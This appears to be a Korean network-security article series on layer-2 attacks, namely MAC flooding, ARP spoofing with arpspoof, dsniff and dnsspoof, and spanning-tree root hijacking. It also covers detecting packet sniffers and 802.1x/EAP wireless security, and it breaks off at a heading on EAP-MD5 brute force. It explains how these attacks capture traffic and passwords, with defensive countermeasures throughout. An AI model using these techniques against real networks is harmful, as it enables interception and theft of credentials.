MAC 플루딩 공격은 한 포트에서 수 천 개의 호스트가 스위치와 연결되어 있는 것으로 보이지만 실제는 변조된 MAC 정보를 공격 호스트에서 발생시키는 것이다. macof라는 유명한 공격 툴은 약 130여줄의 C로 짜여진 프로그램으로 분당 15만5천개의 MAC 주소를 발생할 수 있다. 짧은 시간 대량의 위장된 MAC 주소를 특정 포트에서 발생시키면, 스위치는 발생된 MAC 주소를 내부에 저장하게 되는데 스위치의 하드웨어 공간 제약으로 인해 최대 저장할 수 있는 MAC 주소 공간이 위조된 MAC 주소로 채워지게 된다.

공격이 진행되고 있는 상태에서 스위치와 연결된 정상적인 호스트가 통신할 때, 스위치의 MAC 정보에는 이미 공격자의 위조된 MAC 주소만이 존재한다. 이때 풀루딩이 가동된다. 플루딩 동작으로 데이터가 모든 호스트에 전달되므로, 공격자는 자신의 호스트에서 스니퍼를 이용한 스니핑이 가능하다.

보안 위협

스위치화된 이더넷 환경에서 불가능한 스니퍼를 이용한 스니핑이 가능하게 한다. 스니핑이 가능하다는 의미는 결국 스니핑으로 통한 주요 정보 유출이 가능하므로 허브 구성의 패킷 스니핑(Packet Sniffing)의 보안위협과 동일하게 된다.

보안 대책

MAC 플루딩 공격은 특정 호스트가 대량의 변조된 MAC 주소를 생성하므로 이를 차단하면 가능하다. 즉 각 포트마다 사용하는 MAC 주소를 스위치에 설정하거나, 포트마다 수용할 수 있는 최대 MAC 주소의 개수를 제한하는 것이다.

스위치가 인식할 수 없는 MAC 주소를 감지하게 되면 해당 MAC 주소를 차단하거나, 포트를 사용하지 못하도록 하는데, 이러한 기능은 네트워크 장비 벤더와 장비 모델에 따라 지원여부를 확인해야 한다. 일례로 시스코 경우는 포트 보안(Port Security)이라는 기능이며, 해당장비와 자세한 기술정보는 <표 1>과 같다.

<표1> 시스코 포트 보안
지원장비
Cat 29XX, 4K, 5K, and 6K in CatOS 5.2; 29/3500XL in 11.2(8)SA; 2950 in 12.0(5.2)WC(1); 3550 in 12.1(4)EA1
기술정보
Http://cisco.com/univercd/cc/td/doc/product/lan/cat5000/rel_5_4/
config/sec_port.htm



ARP 스푸핑

ARP 스푸핑(spoofing)은 MAC 플루딩처럼 스위치를 직접적으로 공격하는 유형이 아니라, 트래픽의 흐름을 변경하는 트래픽 흐름 변경(traffic redirection) 형태의 공격이다. 일반적으로 네트워크 내의 호스트 A가 C와 통신을 하고자 할 때, 호스트 A는 네트워크 상에 ARP 요청(request)을 브로드캐스트(broadcast)하고 ARP 리퀘스트를 수신한 네트워크상의 모든 호스트 중 해당 호스트 C가 자신의 MAC 주소를 포함해 ARP 회신(reply)을 A로 전송한다.

스위치화된 네트워크 환경에서도 ARP 요청은 네트워크로 브로드캐스트된다.

공격자의 호스트가 B라고 하면, 공격자 역시 ARP 요청 정보를 수신하고, 호스트 A로 변조된 ARP 회신을 전송하되, 자신의 MAC 주소로 변조돼 있다.

변조된 ARP 회신 응답을 수신한 호스트 A는 자신이 파악한 C의 MAC 주소로 통신을 하지만, 실제로 A가 알고 있는 MAC 주소는 C의 MAC 주소가 아닌 공격자가 변조해서 전송한 공격자 호스트 B의 MAC 주소이므로, 실제 통신은 공격자 호스트다. 이러한 공격이 트래픽 흐름 변경을 이용한 공격이다.

개요

ARP 스푸핑 공격은 스위치로의 직접적인 공격이 아닌 트래픽의 흐름을 변경하는 트래픽 흐름 변경 공격이라고 언급했다.

과연 공격자가 트래픽 흐름 변경 기능으로 무엇을 할 수 있을까? 공격자는 위조된 ARP 회신 패킷을 전송함으로써 네트워크에 존재하는 호스트의 ARP 테이블에 공격자의 MAC 주소를 모두 성공적으로 업데이트했지만, 이것만으로는 완벽한 공격의 성공이라고 보기는 어렵다.

비록 MAC 주소의 변조로 공격자의 호스트로 트래픽이 전달되더라도 공격자가 통신하는 응답을 정상적으로 제공해야만 공격자가 있음을 알지 못하고 계속 통신을 할 것이다. 비정상적인 통신 응답이 발생하면 접속을 중지하든지 혹은 원인 파악을 위해 노력하므로, 공격자는 더 이상의 정보를 얻을 수 없다.



<그림> ARP 스푸핑 공격



<그림 2>는 공격자가 ARP 스푸핑을 이용해 호스트의 서버 접속, 인터넷 접속이 공격자를 경유하고 있음을 보여준다. 공격자는 서버로 접속하는 프로토콜(텔넷과 같은)과 인터넷 접속에 사용하는 프로토콜(웹 서비스와 같은)을 호스트에게 정상적인 응답을 전달해야만 가능하다.

그러므로 ARP 스푸핑 공격과 함께 공격자는 호스트가 통신하고자 하는 프로토콜(웹, ftp, 텔넷, 이메일 등)을 정상적으로 이용할 수 있도록 일종의 서비스 제공 기능을 갖춰야 한다. 일부 알려진 툴들은 이러한 서비스들을 놀라울 정도로 제공한다. <그림 3>은 arpspoof라는 툴을 이용해 10.5.1.109의 ARP정보가 변조됨을 알 수 있다. 공격자는 계속 arpspoof 공격을 진행하면서, 정상적인 사용자가 이용할 프로토콜에 대해 서비스를 제공함으로써 패스워드 정보 등 불법적으로 정보를 수집해야 할 것이다.

패스워드 전문 스니핑 툴 중에 dsniff라는 툴이 있는데, 30여가지 이상의 표준 프로토콜 혹은 애플리케이션 프로토콜을 선택적으로 이용할 수 있다. 이를 나열하면 FTP, 텔넷, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, 넵스터(Napster), PostgreSQL, 미팅 메이커(Meeting Maker), 시트릭스 ICA, 시만텍 피씨애니웨어, NAI 스니퍼, 마이크로소프트 SMB, 오라클 SQL쪻Net, 사이베이스 et Microsoft SQL 등이다.

<그림 4>는 dsniff를 이용해 웹서비스(http)의 계정 및 패스워드를 파악한 예이다. 공격자는 dnsspoof를 이용해 dsniff가 설치된 호스트로 DNS정보를 변조할 수 있다. 분명 www.amazon.com의 DNS 조회결과는 15.1.1.25가 아닐 것이다. 심지어 dniff는 SSL과 SSH 세션까지도 가로챈 뒤 거짓 인증서 정보를 제공할 수도 있다. 또한 dsniff는 Arpspoof, Dnsspoof, Dsniff, Filesnarf, Macof, Mailsnarf, Msgsnarf, Tcpkill, Tcpnice, Urlsnarf, Webspy, Sshmitm, Webmitm 등의 툴들이 구성요소로 포함되어 있어 다양한 공격도 가능하다.

보안 위협

누차 강조하지만 ARP 스푸핑은 스위치로의 직접적인 공격이 아니라 트래픽 흐름을 변경하는 트래픽 흐름 변경 공격 유형이다. 따라서 단순하게 ARP 스푸핑 공격만을 이용하기보다는 여러 가지 툴들을 이용해 조합된 공격을 하는 것이 특징이다.

MAC 플루딩 공격보다 좀 더 지능적이며, 모든 트래픽이 공격자의 호스트로 전송되므로 트래픽 분석을 통한 주요 정보 유출 가능성이 존재하는 스니핑의 전형적인 보안 위협과 동일하다.

보안 대책

우선 존알람(ZoneAlarm) 등과 같은 개인방화벽 제품(상용/프리웨어 포함)들을 이용해 공격을 탐지할 수 있다. 물론 제품에 따라서 기능 지원 차이가 있으므로 확인해 보는 것도 좋다. 스니핑의 필수조건인 프로미스큐어스 모드(promiscuous mode)의 네트워크 카드를 탐지하는 전용 툴을 사용하는 것도 시도해 볼 만 하다.

ARP 와치(Watch)도 ARPspoof 공격의 보안대책으로 매우 효과적이다. arpwatch라는 툴은 호스트들의 ARP 정보를 모니터링하고 있으며, 중복되는 경우 탐지해 알람 등의 방법으로 관리자에게 알려주게 된다. 하지만 무엇보다 장비의 보안설정을 강화하는 것이야말로 핵심이다.

이는 네트워크장비에서 제공하는 보안기능을 활용하면 된다. 물론 장비 벤더, 모델마다 기능지원 여부 등이 상이하므로 확인해 봐야 한다.

시스코의 경우 개인 가상랜(private VLAN) 기능을 이용하여 arpspoof에 대한 대책을 세울 수 있다. 개인 가상랜은 동일한 가상랜 내에서 포트 단위로 분리할 수 있는 기능으로, promiscuous/ isolated/ community의 포트 속성을 정의함으로써 트래픽 이동에 대한 제한이 가능하다.


스패닝 트리

스패닝 트리(Spanning Tree)는 레이어 2 계층에서 네트워크 무장애 운영을 위한 스위치의 리던던트 구성시 트래픽 전송의 물리적인 복수경로로 인한 트래픽의 루핑(looping) 현상을 막기 위한 기능으로, STP는 스패닝 트리 프로토콜의 약자다.



<그림5> 스패닝 트리 공격 사례



<그림 5>의 경우, 호스트 A와 B간 통신을 하는 구간이 다중으로 구성되어 있으나, STP에 의해 4번과 3번 스위치의 연결을 논리적으로 차단함으로써 트래픽 전송은 Aa 1a 2a 3a B의 경로로 전달된다. STP를 구현하는 환경에서는 스위치가 부팅하면, 루핑을 방지하기 위한 일련의 과정이 시작된다. 스위치는 루트 스위치라는 루트 브리지가 발견되면, 자신과 연결된 이중화 경로를 모두 차단하고 오직 루트 스위치와 연결된 경로만으로 트래픽을 전송함으로써, 트래픽 경로를 결정하게 된다.

루트 스위치를 경유한 트래픽 전송 경로가 선정되므로 루트 스위치를 잘못 설정하면 최적의 경로가 설정되지 못할 수도 있다. STP는 BPDU(Bridge Port Data Unit) 메시지라는 것을 상호 교환함으로써 STP의 모든 과정을 진행하고 판단한다.

개요

<그림 5>를 살펴보면 STP 구동을 1번 스위치가 루트가 되어 2번 스위치와 트래픽을 송수신하고 있다. 이때 공격자는 변조된 BPDU 메시지를 전송하여 강제로 스패닝 트리의 계산을 다시 하도록 함으로써 자신이 루트가 된다.

공격자가 루트가 됨으로써 트래픽 전송 경로는 1번-공격자-2번 스위치의 전송경로로 변경되며, 이때 공격자의 호스트는 브리지 역할을 수행하거나, 허브와 같은 장비를 이용하여 트래픽을 정상적으로 전달한다.

즉 트래픽 흐름을 끊기지 않게 한다는 것이다. 공격자는 자신의 호스트에 스니퍼 등의 스니핑 툴을 설치하여 불법적인 정보수집이 가능하다.

또한 일종의 DoS(Denial of Service) 공격 형태가 될 수 있다. 만약 1번과 2번 스위치 구간이 기가비트의 물리적인 대역을 통해 대량의 트래픽이 전송되고 있었는데, 공격자를 경유한 전송경로의 변경으로 기가비트 대역폭 대신 공격자를 경유한 10M 대역폭 구간으로 트래픽이 전송된다면 대역폭 부족으로 인한 패킷유실 및 공격자의 트래픽 전송이 저성능으로 네트워크의 성능 저하를 초래한다.

보안 대책

스패닝 트리 공격이 가능한 이유는 공격자가 BPDU 메시지를 스위치로 전송해 자신이 루트 스위치가 됨으로써, 전송경로가 변경되어 가능했다. 그렇다면 불법적으로 BPDU 메시지를 수용하지 않으면 공격은 불가능할 것이다. 각 네트워크 장비벤더에서는 BPDU 메시지의 전송으로 인한 문제점을 제거하기 위해서 여러 가지 기능을 제공하므로 기능들을 확인해야 한다.

시스코의 경우 스위치에 BPDU 가드 기능을 이용해 불필요한 스위치에 BPUD 메시지를 수용하지 않도록 하거나, 루트 가드(Root Guard) 기능을 이용해 BPDU 메시지로 인해 불필요한 스위치가 루트가 되지 않도록 설정하는 방법이 있다.

스패닝 트리는 중규모 이상의 네트워크에서 레이어 2 계층의 리던던트 구성을 하는 경우가 있으므로 네트워크 관리자는 스패닝 트리를 이용하는 장비의 보안기능을 검토, 적용해야 할 것이다.


오늘날 인터넷이 없는 생활은 상상하기도 어려운 일이다. 인터넷의 근간이 되는 TCP/IP 통신은 라우터, 스위치, 허브 등 TCP/IP 기반에서 동작하는 네트워크 장비들의 물리적 구성으로 이뤄져 있다. 이 가운데 각종 애플리케이션 서버, 3계층 동작의 라우터와 백본 스위치 등에 대한 보안 투자는 활발히 이뤄지는 반면, 2계층의 보안은 상대적으로 미비한 수준이다.


인터넷을 접속하고자 하는 사용자의 컴퓨터는 랜(LAN) 케이블을 통해 허브나 스위치로 연결되어 있으며, 허브나 스위치는 라우터와 연결되어 라우터가 제공하는 네트워크 경로에 따라 외부 네트워크와 연결된다. 이 때 스위치는 어떤 네트워크에도 설치되어 있고 쉽게 볼 수 있는 장비이기 때문인지, 스위치에 대한 보안은 큰 고민을 하지 않는 게 현실이다.

각종 애플리케이션 서버, 3계층 동작의 라우터와 백본 스위치 등에 대한 보안 투자는 활발히 이뤄지는 반면, 2계층의 보안은 상대적으로 미비한 수준이다. 서버, 라우터 등의 보안은 철저하지만 서버가 연결된 2계층의 침해가 발생한다면 서버가 100% 정상적으로 동작되더라도 서비스 장애는 발생할 것이다. 보안은 균형적으로 이뤄져야 한다.


2계층의 보안

OSI-7 레이어 모델은 통신하는 상호간의 정보가 없음에도 서로 다른 계층간에 동작할 수 있도록 설계됐다. <그림 1>은 호스트 A와 호스트 B간의 OSI-7 레이어 모델을 도식화한 것이다. 각 계층은 인캡슐레이션(encapsulation)과 디-인캡슐레이션(de-encapsulation)을 통해 상호 통신하게 된다.



<그림1> 호스트 A와 호스트 B간 OSI-7 레이어 모델



만약 2계층인 데이터 링크 계층의 침해가 발생할 때 그 영향으로 상위 계층으로 확산되어 상호 데이터 전송의 문제가 발생되는 ‘도미노 효과(Domino Effect)’ 현상이 발생한다. <그림 2>와 같이 2계층의 공격은 네트워크의 운영 및 응용프로그램 장애로 확대되므로 침해 영향을 최소화하기 위한 보안정책을 고민해야 한다.



<그림2> 도미노 효과



2계층의 공격은 장비 공격과 트래픽 흐름을 변경(traffic redirection)하는 네트워크 공격으로 크게 분류할 수 있는데, 장비공격은 스위치의 허술한 보안설정, 관리정책과 동작원리 등의 취약점을 이용한 공격이며, 네트워크 공격은 2계층의 통신원리를 이용해 불법적으로 트래픽 흐름을 변조하는 공격이다.


2계층 통신 원리

랜 환경의 호스트들은 두개의 주소를 가지고 있다. 하나는 MAC(Media Access Control) 주소로 네트워크 내의 각 노드를 구별할 수 있는 고유한 인식표로 생각할 수 있으며 네트워크 카드 내에 저장되어 있어, 호스트로부터 데이터를 전송하는 단위인 프레임으로 변화할 때 이더넷 프로토콜에 의해 사용되고, 다른 주소인 IP 주소는 애플리케이션에 의해 사용된다.

2계층에서 특정 호스트로 데이터를 전송할 경우 IP 주소를 사용하기보다 MAC 주소를 포함하고 있는 이더넷 헤더를 이용하므로, IP 주소를 네트워크 카드의 하드웨어 주소인 MAC 주소로 파악하는 과정이 필요하다. 데이터를 전송하는 호스트는 내부에 저장된 일종의 테이블에서 수신할 호스트의 MAC 주소 검색이 시작되며, 만약 해당 정보가 존재하지 않을 경우, 수신할 호스트의 정보를 네트워크 상에 브로드캐스트(broadcast)하게 된다. 이때 내부에 저장된 정보를 ARP 캐시라고 정의하며, 브로드캐스트된 정보를 ARP 리퀘스트라고 정의한다.

ARP 리퀘스트를 전송하는 호스트는 자신의 정보를 포함해 전달했으므로, 네트워크 내의 ARP 정보를 수신한 해당 호스트는 자신의 MAC 주소를 전송한 호스트로 알려주어 결국 데이터를 전송하는 호스트는 수신할 호스트의 MAC 주소를 파악하게 되어 통신하게 된다. 이렇게 IP 주소를 MAC 주소로의 변환하는 과정을 ARP라고 정의한다. <그림 3>은 ARP의 예이다.



<그림3> ARP 사례



패킷 스니핑

이더넷 환경은 공유된 이더넷(Shared Ethernet)과 스위치화된 이더넷(Switched Ethernet) 두 가지로 크게 구분될 수 있으며, 환경에 따라 스니핑 가능성은 차이가 있다. 패킷 스니핑을 위한 필수적인 요구사항은 네트워크 카드의 프로미스큐어스 모드(promiscuous mode)이다.

일반적으로 인터페이스 카드는 수신한 패킷들이 자신을 목적지로 하는 트래픽이 아닐 경우 폐기하지만, 프로미스큐어스 모드는 패킷 정보를 모두 수용하므로 네트워크 상의 모든 패킷을 수신할 수 있으므로, 사용 목적에 따라 악용될 가능성도 있다.

  • 공유된 이더넷 : 동일한 버스(bus)로 연결된 모든 호스트는 대역폭을 공유하게 된다. 이러한 경우 두 호스트간 데이터를 전송할 때, 해당 호스트뿐만 아니라 연결된 모든 호스트들에게도 데이터가 전송되는 문제점이 있다.

  • 스위치 환경 이더넷 : 허브 대신 스위치로 구성되어 있으므로 스위치 환경 이더넷이라 불린다. 스위치는 연결된 호스트들의 MAC 주소 정보와 해당 MAC 주소가 어떤 물리적인 포트에 위치하고 있는지 파악하고 있다. 이러한 스위치의 지능적인 기능으로 호스트간 통신을 할 때, 공유 이더넷 방식과는 달리 스위치가 목적지의 MAC 주소 정보를 검색해 물리적으로 연결된 포트로만 데이터를 전송하므로, 연결된 모든 호스트들에게 데이터를 전송하지 않는다.


    패킷 스니핑의 보안 위협

    보안상 패킷 스니핑의 문제점은 공격자가 네트워크 상의 데이터를 수집하여, 분석할 수 있다는 것이다. 자주 이용하는 프로토콜 중 텔넷, SNMP, POP, FTP, IMAP, NNTP 등은 데이터의 내용이 평문(clear text)이므로 계정, 패스워드 등의 주요 정보가 유출될 위험이 매우 크다. 근래 의사소통 및 업무용으로 활성화된 IM(Instance Messenger) 역시 통신하는 내용이 평문으로 전송되므로 개인정보의 유출의 위협이 존재한다.

    유닉스 계열의 스니핑 툴은 Tcp dump, Ethereal, Dsniff, Snort, Sniffit와 Trinux 등과 윈도 계열의 스니핑 툴인 Ethereal, Windump, Network Associates Sniffer, EtherPeek, Analyzer 등 무수히 많은 툴들이 존재하며, 툴들의 지능화로 디코드(decode) 기능이 보강되어 전문적인 사전지식 없이도 수집된 데이터들을 쉽게 분석, 파악할 수 있다. 디코드 기능이란 스니퍼의 각 패킷단위로 수집한 내용을 조합해 완전한 데이터로 복원하는 기능이다. 예를 들어 텔넷의 패스워드가 abc라고 가정하면 스니퍼를 이용하여 볼 수 있는 내용은 a, b와 c 각각 보이지만, 디코드 기능을 이용하면 abc를 모두 조합시켜 보여준다. 이것은 수집된 수많은 패킷들을 사용자가 하나하나 찾아서 조합하는 과정을 툴이 자동적으로 해결해 준다는 편이성을 제공한다.


    패킷 스니핑의 보안 대책

    첫 번째, 공유된 이더넷 환경인 허브(HUB)를 사용하는 구성에서는 반드시 스위치 장비로 교환해야 한다. 네트워크 규모 및 운영 특성에 맞게 소호형의 저가형 스위치부터 대용량, 고성능의 고가형 스위치까지 매우 다양하므로 적절히 선택할 수 있다. 스위치의 교환으로 스니퍼만을 이용한 단순한 스니핑의 위협에서 해방될 수 있다.

    두 번째, 스위치화된 이더넷 환경이라도 안전하지는 않다. 왜냐하면 스위치를 공격해 스니핑이 가능하도록 하는 MAC 플루딩, ARP 스푸핑 등의 공격 방법들이 있다. 네트워크 관리자는 프로미스큐어스 모드로 운영되는 네트워크 카드가 존재하는지, 혹은 공격 여부에 대해 주기적인 파악이 필요하다.

  • 핑 방법 : 의심되는 호스트로 핑 리퀘스트를 전송한다. 정상적인 호스트라면 MAC 주소가 해당하지 않으므로 응답이 없어야 하지만, 프로미스큐어스 모드의 공격 호스트는 MAC 주소의 비교로 패킷을 폐기하지 않으므로 응답을 전송한다. 하지만 이 방법은 오래된 방법이고, 근래에는 신뢰할 수 없는 방법이다.

  • ARP 방법 : 호스트는 ARP 정보를 캐시(임시저장)한다. 논-브로드캐스트(non-broadcast) ARP를 전송하면, 프로미스큐어스 모드의 공격 호스트는 ARP 주소를 캐시하고, 다시 IP와 함께 핑 패킷을 브로드캐스트하는데, 이때의 MAC 주소는 전과 다르다. 오직 공격자의 호스트만이 스니핑된 ARP 정보를 통하여 정상적인 MAC 주소로 응답을 줄 것이다.

  • 로컬 호스트의 검사: 만약 특정 호스트가 공격으로 인해 프로미스큐어스 모드로 운영될 가능성도 존재한다. ifconfig 명령을 통해 확인할 수 있다. 프로미스큐어스 모드로 동작하고 있다면 ‘RUNNING PROMISC’라는 문구를 확인할 수 있다.

    지연 방법 : 이 방법은 매우 단순한 원리로 대부분의 스니퍼는 파싱(parsing)을 하고 있다는 점에 착안해 네트워크 상에 대용량의 데이터를 전송하고 의심되는 호스트로 데이터 전송전과 전송하는 동안 핑 체크를 한다. 만약 호스트가 프로미스큐어스 모드라면, 대용량의 데이터를 파싱해야 하므로 부하가 증가하여 핑 패킷에 대한 응답시간이 늦어질 것이다. 단 이 방법은 네트워크로 인한 지연시간 등 환경적인 요소가 많으므로, 결과에 대한 폴스 포지티브(false-positive) 가능성도 존재한다.

    세 번째, 스니핑 탐지 전용 툴을 활용해야 한다. ARP 와치(MAC 주소와 IP 주소를 비교, 모니터링하고 있으며, 중복되는 경우 탐지하여 알람 등을 출력), Anitsniff(스니퍼 탐지 툴), CPM(Check promiscuous mode), Neped(네트워크 상에 패킷 스니퍼의 동작을 탐지) 등 스니핑 탐지 전문 툴을 활용함으로써 불법적인 공격자를 탐지할 수 있으며, 효과적인 방법이라 할 수 있다.

    네 번째, IDS를 활용하라. 스니핑 뿐만 아니라 여러 가지 공격에 대한 효과적인 보안대책이다. IDS는 침입탐지시스템으로 스니핑 공격유형 뿐만 아니라 다수의 공격에 대해서도 탐지할 수 있다. 대부분 상용과 비상용 제품이 있다.

    다섯 번째, 장비의 보안설정을 강화해야 한다. 각 네트워크 장비 벤더마다 제공하는 보안기능의 활성화 및 정확한 설정으로 공격의 가능성을 최소화할 수 있다.

    여섯 번째, 스니핑의 위협이 언제나 존재하고 있음을 상기하고, 주요 장비 혹은 시스템 접속시 SSL, SSH 등의 암호화 프로토콜을 이용함으로써, 공격자가 스니핑으로 데이터를 수집하더라도 암호화된 내용만을 볼 수 있으므로, 정보유출의 가능성을 줄 일 수 있다.

    마지막으로, 가장 중요한 점은 스위치화된 환경의 필수적인 패킷 스니핑 조건은 내부로의 물리적인 연결이 선행되어야 하는 점이다. 공격자는 반드시 랜 케이블로 해당 네트워크로 연결되어야 하므로 물리적 공간의 출입통제 및 네트워크의 관리적 보안이 근본적인 보안대책이 될 수 있다.


    기존 무선랜의 구성 방식은 보안이 매우 취약하다는 사실을 구체적인 공격 유형별 분석을 통해 설명했다. 이번 에는 기존 무선랜의 취약한 보안을 강화하기 위해 도입된 IEEE 802.1x 규격에 대해 살펴보고 또한 IEEE 802.1x를 도입했을 때 가능한 공격들을 알아보자. <편집자>

    기존의 WEP 암호화 방식은 취약한 보안으로 인해 기업환경에서는 거의 사용이 불가능해진 상태이다. 따라서 이러한 표준 기반의 무선랜 규격의 취약점을 보완하기 위해 여러 가지 노력들이 이뤄졌는데 그 중 대표적인 방법들은 다음과 같다.

    · WEP 암호화 키 길이의 증가(40비트에서 104비트)
    · 검증된 보안 방식의 도입(IPSec을 이용한 VPN)
    · IEEE 802.1x 규격의 무선랜 적용


    WEP 암호화 키 길이의 증가로 인한 무선랜 보안

    WEP 암호화 키 길이의 증가는 실질적으로 보안의 강화를 구현하지 못했다. 단순한 암호화 키 길이의 증가는 WEP 알고리즘 자체의 보안에는 큰 영향을 미치지 못하기 때문이다. 즉, WEP 암호화 키 길이가 증가하더라도 WEP 키를 복구하는 공격에 소요되는 시간은 암호화 키 길이에 비례하여 104비트 길이의 경우라도 현실적인 시간 내에 공격이 가능하기 때문이다.

    또한 검증된 보안 방식의 도입은 무선랜 환경에 적합하지 않아 사용이 어렵게 되었다. 기존 IPSec을 이용한 VPN의 경우 AP의 역할이 단순한 허브(Hub)로 제한되어 클라이언트와 VPN 콘센트레이터(Concentrator)간 단대단(End-to-End) 암호화 통신을 하게 된다. 그러나 이러한 구성에는 몇 가지 취약점이 발견되는데 이러한 취약점들은 다음과 같다.

    1) 데이터 링크 계층에서의 보안 취약점을 네트워크 계층에서 보완함으로 인해 여전히 데이터 링크 계층에서의 보안 취약점이 존재

      - IPSec으로 암호화되지 않는 패킷들은 모두 공격자에게 공개되어 있다.
      - 기존 MAC 스푸핑(Spoofing), 가상랜 홉핑(Hopping), ARP 포지셔닝(Poisoning) 등 데이터·링크 계층에서의 공격들은 방어하기가 어렵다.



    2) AP라는 개체는 공격자에게 완전히 개방된 존재이므로 AP에 대한 접속이나 공격 및 AP를 경유한 클라이언트에 대한 공격 방어 방법 부재

      - AP에 대한 접근 제어 기능이 없으므로 물리적 접속(Association)은 언제나 가능하다.
      - 일부 AP에서만 제공하는 클라이언트간 직접 통신 금지(Inter-Client Communication Blocking) 기능이 없을 경우 AP단에서 각 클라이언트에 대한 직접적인 공격이 가능하다.
      - AP에 대해 DoS 공격 등 다양한 공격이 가능하며 공격자가 AP에 대한 관리 권한을 획득하게 되면 해당 AP를 공격자가 제어할 수도 있다.



    3) AP간 로밍(Roaming)이나 접속 제한, 권한 제한 등을 위해 별도의 접근 제어기(Access Controller)가 필요

    <그림1> VPN 기반 접근 제어기를 사용할 경우 네트워크 구성도




    또한 이러한 접근 제어기와 VPN 콘센트레이터가 혼합된 경우 게이트웨이 형태를 유지하게 되어 성능상 제한 사항이 발생한다. 즉, 모든 무선랜 트래픽이 하나의 게이트웨이를 통해 전송되므로 병목 현상이 발생할 수 있다. 더군다나 현재 출시되고 있는 IEEE 802.11a 혹은 IEEE 802.11g 규격의 무선랜인 경우 IEEE 802.11b 규격의 제품들에 비해 약 5배 정도 향상된 성능을 보이므로 병목 현상이 심화될 수 있다.

    이러한 병목 현상을 극복하기 위해서는 게이트웨이의 수를 늘리고 필요한 경우 L4 스위치와 같은 로드 밸런싱 장비가 필요해 무선랜 설치에 보안 장비에 대한 투자가 무선랜 구축보다 더 많이 필요한 형태가 된다. 기업 네트워크 환경에서는 상당한 부담이 아닐 수 없다.

    <그림2> 무선랜 보안 방식의 발전 방향



    IEEE 802.1x를 이용한 무선랜 보안

    IEEE 802.1x 규격의 무선랜에 대한 적용은 위 방법들에 비해 현실적이고도 강력한 보안을 제공할 수 있는 방법이다. 이미 표준화 단체에서 IEEE 802.1x를 도입하기로 결정돼 현재 IEEE 802.11 TGi에서는 IEEE 802.1x 적용을 드래프트에 포함시켰으며 Wi-Fi(Wireless Fidelity)에서도 WPA(Wi-Fi Protected Access) 규격에 IEEE 802.1x 적용을 포함한 상태이다. 또한 IETF 역시 래디우스를 무선랜에 적용하는 IEEE 802.1x 규격에 적용할 수 있는 표준 RFC 문서를 발표함으로써 IEEE 802.1x가 최선의 선택임을 증명하고 있다.

    원래 IEEE 802.1x가 개발된 목적은 무선랜이 아니지만 무선랜에서도 적용이 가능한 형태로 변화하고 있다. 무선랜은 기존 802.3 미디어와 달리 쉐어드 미디엄(Shared Medium)이면서도 포인트 투 포인트(Point-to-Point) 형식의 연결을 취하고 있다. 즉, 물리적으로는 같은 전송 매체를 사용하지만 AP와 클라이언트간 연합(Association)을 통해 가상의 포트 개념을 사용하고 있다. 마치 유선상에서 스위치의 포트와도 같은 개념이 될 수 있다.

    따라서 각 클라이언트 별 연합에 대해 포트 상태를 IEEE 802.1x에서 정의하고 있는 인증(Controlled) 상태와 비 인증(Uncontrolled) 상태로 정의하게 되면 AP에 대한 접근 제어가 가능해 진다.

    <그림3> IEEE 802.1x 구성 요소



    IEEE 802.1x 규격에서는 크게 세 종류의 개체를 정의하고 있다. 첫 번째는 요구자(Supplicant)이며, 두 번째는 인증자(Authenticator), 그리고 세 번째는 인증 서버(Authentication Server)다. 요구자(Supplicant)는 인증자로부터 인증 요청을 받았을 때 사용자의 식별 정보(User Credential)를 전달하는 개체다.

    인증자는 요구자에게 인증을 요구하고 전달 받은 사용자 식별 정보를 이용해 인증 서버에게 인증 서비스를 요청하는 개체다. 인증자는 또한 해당 사용자의 접속 포트 상태를 관리하며 인증 서버의 인증 결과에 따라 포트를 인증 상태 혹은 비 인증 상태로 설정하게 된다.

    인증 서버는 인증자로부터 사용자에 대한 인증 요청을 받아서 인증 서비스를 제공하는 개체로서 사용자의 식별 정보를 미리 가지고 있어야 한다. 인증 서버는 논리적으로는 인증자와 역할이 분리되어 있지만 물리적으로도 반드시 인증자와 분리될 필요는 없다. IEEE 802.1x 규격에서는 요구자, 인증자, 그리고 인증 서버간의 전체적인 인증 메커니즘을 규정하고 있으며 요구자와 인증자 사이에서는 확장 가능한 인증 프로토콜(Extensible Authentication Protocol, 이하 EAP)을 MAC 계층에서 사용하도록 규정하고 있다.

    EAP가 MAC 계층에서 전달되기 때문에 이러한 프로토콜을 EAPoL(EAP over LAN)이라고 부른다. 무선랜인 경우 EAPoW(EAP over Wireless)라고도 불리는 경우가 있지만 무선랜인 경우라고 할 지라도 실제로 패킷은 이더넷 패킷으로 전달되므로 유선과 동일하다고 하겠다. 인증자와 인증 서버간 통신프로토콜은 별도로 규정하고 있지는 않지만 부가조건(Annex)을 통해서 래디우스(Remote Authentication Dial In User Service) 프로토콜에 대한 기본적인 참조 모델을 제시하고 있다.

    <그림4> IEEE 802.1x 구성 요소



    이에 따라 현재 대부분의 인증자 벤더들은 래디우스 프로토콜을 기반으로 제조하고 있으며 IETF에서는 래디우스를 IEEE 802.1x에 적용하기 위한 표준 가이드라인을 RFC3580으로 제시했다. 현재 표준안에서 제시하는 형태는 EAP에서는 EAP-MD5와 EAP-TLS 등이 있으며 드래프트 상으로 EAP-TTLS와 PEAP 등이 있다. 그러면 이제 각각의 프로토콜이 적용된 형태와 공격 유형에 대해 알아보자.

    IEEE 802.1x with EAP-MD5

    EAP-MD5는 CHAP(Challenge Handshake Authentication Protocol)을 EAP 상에서 구현한 것으로서 일반적인 프로토콜 흐름은 다음과 같다.

    <그림5> EAP-MD5 프로토콜 흐름도



    EAP-MD5는 서버에서 난수 형태의 시도(Challenge)를 보내면 클라이언트에서 사용자 패스워드와 MD5 해쉬 함수를 이용하여 응답(Response)을 보내게 된다. 서버는 자신이 만든 시도와 서버에 저장된 사용자 패스워드를 가지고 응답을 만들어서 클라이언트가 전송한 응답값과 비교하여 일치하면 인증 성공을 보내고 일치하지 않으면 인증 실패를 보내게 된다.

    EAP-MD5는 동적 암호화 키를 생성할 수 없으므로 WEP 암호화를 하지 않거나 하더라도 스테이틱(Static) WEP 키를 사용해서 암호화를 해야만 한다. 따라서 IEEE 802.1x 규격이 적용되지 않은 상태에서의 공격과 같은 형태의 도청 공격은 모두 가능하다.
    그럼 IEEE 802.1x가 적용되고 EAP-MD5를 적용할 경우에 대한 공격 유형들을 알아보자.

    공격 유형 1. Off-Line Brute-Force Attack

